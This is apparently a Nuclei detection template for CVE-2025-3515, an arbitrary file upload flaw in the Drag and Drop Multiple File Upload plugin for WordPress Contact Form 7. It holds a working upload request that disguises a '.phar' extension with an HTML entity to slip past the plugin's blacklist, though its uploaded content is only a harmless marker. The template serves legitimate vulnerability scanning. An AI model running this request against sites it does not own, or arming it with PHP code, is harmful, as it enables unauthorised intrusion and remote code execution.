id: CVE-2025-3515

info:
  name: Contact Form 7 Drag and Drop Multiple File Upload - Arbitrary File Upload
  author: hnd3884
  severity: high
  description: |
    The Drag and Drop Multiple File Upload for Contact Form 7 plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file type validation in all versions up to, and including, 1.3.8.9. This makes it possible for unauthenticated attackers to bypass the plugin's blacklist and upload .phar or other dangerous file types on the affected site's server, which may make remote code execution possible on the servers that are configured to handle .phar files as executable PHP scripts, particularly in default Apache+mod_php configurations where the file extension is not strictly validated before being passed to the PHP interpreter.
  impact: |
    Unauthenticated attackers can upload dangerous file types like .phar by bypassing the blacklist, potentially achieving remote code execution on servers with default Apache+mod_php configurations.
  remediation: |
    Upgrade Contact Form 7 Drag and Drop Multiple File Upload plugin to version 1.3.9.0 or later that properly validates file extensions.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-3515
    - https://plugins.trac.wordpress.org/changeset/3310153/
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/e1298242-61d2-495e-bae7-96b5e12bd03d
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2025-3515
    cwe-id: CWE-434
    epss-score: 0.04595
    epss-percentile: 0.8937
    cpe: cpe:2.3:a:codedropz:drag_and_drop_multiple_file_upload_-_contact_form_7:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: codedropz
    product: drag_and_drop_multiple_file_upload_contact_form_7
    publicwww-query: "wp-content/plugins/drag-and-drop-multiple-file-upload-contact-form-7/"
  tags: cve,cve2025,wordpress,wp,contact-form-7,file-upload,intrusive,vkev,vuln

variables:
  phar_marker: "CVE-2025-3515-{{rand_base(8)}}"
  phar_file: "{{rand_base(5)}}"

flow: |
  http('fetch_upload_name') && http('upload_file') && http('fetch_phar_file') || http('version_check')

http:
  - id: fetch_upload_name
    method: GET
    path:
      - "{{BaseURL}}"
      - "{{BaseURL}}/contact/"
      - "{{BaseURL}}/contact-us/"
      - "{{BaseURL}}/submit/"
      - "{{BaseURL}}/support/"
      - "{{BaseURL}}/form/"
      - "{{BaseURL}}/get-in-touch/"

    stop-at-first-match: true

    matchers:
      - type: word
        part: body
        words:
          - "wpcf7-drag-n-drop-file"
        internal: true

    extractors:
      - type: regex
        name: upload_name
        group: 1
        regex:
          - '<input.+?class=".+?wpcf7-drag-n-drop-file d-none.+?".+?data-name="(.+?)"'
        internal: true

      - type: regex
        name: nonce
        group: 1
        regex:
          - '"ajax_nonce":"([a-f0-9]{10,})"'
        internal: true

      - type: regex
        name: form_id
        group: 1
        regex:
          - '<input.+?class=".+?wpcf7-drag-n-drop-file d-none.+?".+?data-id="([0-9]+?)"'
        internal: true

  - id: upload_file

    method: POST
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php"
    headers:
      Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyvcxCgWuFH6hBJi4
    body: |
      ------WebKitFormBoundaryyvcxCgWuFH6hBJi4
      Content-Disposition: form-data; name="action"

      dnd_codedropz_upload
      ------WebKitFormBoundaryyvcxCgWuFH6hBJi4
      Content-Disposition: form-data; name="type"

      drop
      ------WebKitFormBoundaryyvcxCgWuFH6hBJi4
      Content-Disposition: form-data; name="security"

      {{nonce}}
      ------WebKitFormBoundaryyvcxCgWuFH6hBJi4
      Content-Disposition: form-data; name="form_id"

      {{form_id}}
      ------WebKitFormBoundaryyvcxCgWuFH6hBJi4
      Content-Disposition: form-data; name="upload_name"

      {{upload_name}}
      ------WebKitFormBoundaryyvcxCgWuFH6hBJi4
      Content-Disposition: form-data; name="upload_folder"

      {{randstr}}
      ------WebKitFormBoundaryyvcxCgWuFH6hBJi4
      Content-Disposition: form-data; name="upload-file"; filename="{{phar_file}}.&#112;har"
      Content-Type: image/png

      {{phar_marker}}
      ------WebKitFormBoundaryyvcxCgWuFH6hBJi4--

    matchers:
      - type: word
        part: body
        words:
          - '"success":true'
        internal: true

    extractors:
      - type: json
        name: uploaded_file
        json:
          - ".data.file"
        internal: true

  - id: fetch_phar_file
    method: GET
    path:
      - "{{RootURL}}/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/{{uploaded_file}}"

    matchers:
      - type: word
        part: body
        words:
          - "{{phar_marker}}"

  - id: version_check
    method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/drag-and-drop-multiple-file-upload-contact-form-7/readme.txt"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Drag and Drop Multiple File Upload"
          - "Stable tag:"
        condition: and

      - type: dsl
        dsl:
          - compare_versions(version, '<= 1.3.8.9')

    extractors:
      - type: regex
        name: version
        group: 1
        regex:
          - "Stable tag:\\s*([0-9.]+)"
        internal: true

      - type: regex
        group: 1
        regex:
          - "Stable tag:\\s*([0-9.]+)"
# digest: 4a0a0047304502205aaba7055d0c6eb82f0276c0d22d1886099ce4cd13a1c631add554ae922b27a0022100e54d65acf356da87d54fce83757473fcd884cc946eba9002542e4411c8ab1dcc:922c64590222798bb761d5b6d8e72950